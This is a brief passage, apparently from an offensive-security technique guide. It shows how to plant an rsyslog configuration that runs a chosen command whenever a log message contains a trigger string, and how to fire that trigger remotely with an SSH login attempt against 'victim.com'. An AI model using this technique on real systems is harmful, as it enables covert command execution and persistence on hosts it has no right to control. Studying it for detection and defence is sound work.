In order for this to work, one must be able to trigger one event containing the chosen string, e.g., somerandomstring. One possibility is to attempt to connect to the victim host via SSH, for example:

ssh somerandomstring@victim.com

cat >/path/to/temp-file <<EOF
module(load="imuxsock")
:msg, contains, "somerandomstring" ^/path/to/command
EOF

rsyslogd -f /path/to/temp-file
